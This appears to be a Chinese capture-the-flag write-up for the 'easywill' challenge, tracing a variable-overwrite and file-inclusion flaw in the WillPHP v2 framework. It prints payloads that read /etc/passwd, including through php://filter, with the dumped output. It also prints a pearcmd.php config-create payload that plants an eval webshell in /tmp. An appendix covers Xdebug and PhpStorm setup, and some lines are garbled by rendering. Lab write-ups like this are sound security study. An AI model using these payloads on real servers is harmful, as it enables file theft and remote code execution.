时间戳——2021.12.12
0x01 WP:
一、框架调试
第一步:登录buuctf,打开[HXBCTF 2021]easywill题目的容器环境 第二步:进入打开的的题目连接,发现有一段代码提示,以及两个选项,一个使开发手册,一个是下载新版本。(经过查看html没有提示,也没有www.zip和robots.txt,但是很明显发现这个是WillPHPv2版本的框架,因此我们之后打算下载PHP源码,然后放到PHPSTORM进行Xdebug框架调试) 第三步:点击开发手册,发现assign函数的功能 第四步:点击下载新版本,下载下来,放到本地环境中 第五步(可以不要):在app\controller\IndexController.php里面添加如下内容,尽量还原题目,就是给一个提示 第六步:开始在PHPSTORM调试 1、设置断点,传入参数 设置断点传入参数的方法: 传入参数的姿势: 传入参数的结果: 2、键入F7,步入:很明显,这个是把value参数的值赋值给name参数,根前面手册的功能对应了
3、在上一步按住ctrl+点击View,发现在View.php里面,assign函数会把value参数的值赋值给vars数组的name键 4、最终在Template.php页面,发现了**【变量覆盖+文件包含】构成的【任意文件读取漏洞】** extract($vars)的功能是:把vars数组的键值对,转换为变量和变量值的对应关系,如果该数值里的键与已存在的变量同名,则覆盖已有变量。所以我们传入键值对vars[cfile]=任意可读文件,也就是传入?name=cfile&value=任意可读文件,我们就可以让后面的include $cfile成功的包含我们想要读取的可读文件。 5、我们在buuctf里面打开的题目链接里面,测试上述漏洞。由于靶机是linux操作系统,所以我们可以读取已有的文件/etc/passwd。 所以传入右边的参数,利用文件包含读取文件:
index.php?name=cfile&value=/etc/passwd
也可以传入右边的参数,利用文件包含读取文件的源码:
index.php?name=cfile&value=php://filter/convert.base64-encode/resource=/etc/passwd
解码内容: root?0:0:root:/root:/bin/ash bin?1:1:bin:/bin:/sbin/nologin daemon?2:2:daemon:/sbin:/sbin/nologin adm?3:4:adm:/var/adm:/sbin/nologin lp?4:7:lp:/var/spool/lpd:/sbin/nologin sync?5:0:sync:/sbin:/bin/sync shutdown?6:0:shutdown:/sbin:/sbin/shutdown halt?7:0:halt:/sbin:/sbin/halt mail?8:12:mail:/var/spool/mail:/sbin/nologin news?9:13:news:/usr/lib/news:/sbin/nologin uucp?10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator?11:0:operator:/root:/sbin/nologin man?13:15👨/usr/man:/sbin/nologin postmaster?14:12:postmaster:/var/spool/mail:/sbin/nologin cron?16:16:cron:/var/spool/cron:/sbin/nologin ftp?21:21::/var/lib/ftp:/sbin/nologin sshd?22:22:sshd:/dev/null:/sbin/nologin at?25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid?31:31:Squid:/var/cache/squid:/sbin/nologin xfs?33:33:X Font Server:/etc/X11/fs:/sbin/nologin games?35:35:games:/usr/games:/sbin/nologin postgres?70:70::/var/lib/postgresql:/bin/sh cyrus?85:12::/usr/cyrus:/sbin/nologin vpopmail?89:89::/var/vpopmail:/sbin/nologin ntp?123:123:NTP:/var/empty:/sbin/nologin smmsp?209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest?405💯guest:/dev/null:/sbin/nologin nobody?65534:65534:nobody:/:/sbin/nologin www-data?82:82:Linux User,:/home/www-data:/sbin/nologin nginx?100:101:nginx:/var/lib/nginx:/sbin/nologin
二、pearcmd裸文件包含
1、docker默认安装pear/pecl,在linux中一切皆文件,虽然他们两个是管理php扩展仓库的命令工具,我们也可以通过文件来执行。 2、pearcmd.php默认安装在/usr/loca/lib/php目录下 3、pearcmd.php有一个参数config-create可以创建一个配置文件
/usr/loca/lib/php/pearcmd.php config-create /aaaaa /tmp/test.php
4、由于pearcmd命令读取参数的时候,可以从
a
r
g
或
arg或
arg或中读取 payload:
?+config-create+/&name=cfile&value=/usr/loca/lib/php/pearcmd.php&/<?=eval($_POST[c]);?>+/tmp/test.php
整理:
/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[c]);?>+/tmp/shell.php
附:怎么配置phpstorm+phpstudy+xdebug远程调试
注意:配置一个假的远程调试,我们就把源码放到本机(也就是127.0.0.1)的网站根目录WWW下的exp/willphpv2目录下
第一步:访问https://xdebug.org/wizard,把phpinfo的内容贴进去,会返回我们可以使用的对应版本的xdebug
第二步:访问https://xdebug.org/download/historical,下载对应版本的xdebug(比如5.6.27版本的php对应的xdebug文件是php_xdebug-2.5.5-5.6-vc11-nts.dll)
第三步:把我们下载的xdebug文件放入,相应php版本的ext目录下,也就是放到该目录下L:\PHP\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext
第四步:打开phpstudy的php相应版本的php.ini配置文件,在最后输入以下内容:
[XDebug]
zend_extension="L:\PHP\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug-2.5.5-5.6-vc11-nts.dll"
xdebug.remote_enable = On
xdebug.remote_handler = dbgp
xdebug.remote_host= 127.0.0.1
xdebug.remote_port = 9264
xdebug.idekey = qwsn
xdebug.profiler_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"
第五步:配置phpstorm的Debug/DBGp/Servers
点击file->点击settings->点击languages & frameworks->点击PHP->修改CLI Interpreter为PHP5.6.27版本
接着点击Debug->填入Debug port:9264(这个端口与php.ini里的端口对应)
接着点击DBGp Proxy->填入IDE Key:qwsn(这里与php.ini里的key对应)->填入Host:127.0.0.1(这里与php.ini里的对应)->填入Port:9264(与php.ini里的对应)
接着点击Servers->点击+添加->填入Name:local_server(只是一个服务器名字,随便填写)->填入Host![在这里插入图片描述](https://img-blog.csdnimg.cn/bae48e3e785042c6b81c999e7a57d0f9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAcXdzbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
:127.0.0.1(这里填的是本地phpstudy的服务器IP)->填入Port:80(注意,这个是本地phpstudy网站的默认端口)->Debugger选择Xdebug
最后依次点击->apply->ok
第六步:配置一个PHP Web Page
点击run->点击edit configurations->点击左上角的+号->选择PHP Web Page
->填入名字willphpv2(随便)->Server选择刚刚配置的local_server->Start URL选择我们网站根目录下的/exp/willphpv2/(因为我把willphpv2源码放到了网站根目录下的exp/willphpv2里面)
->依次点击apply和ok
|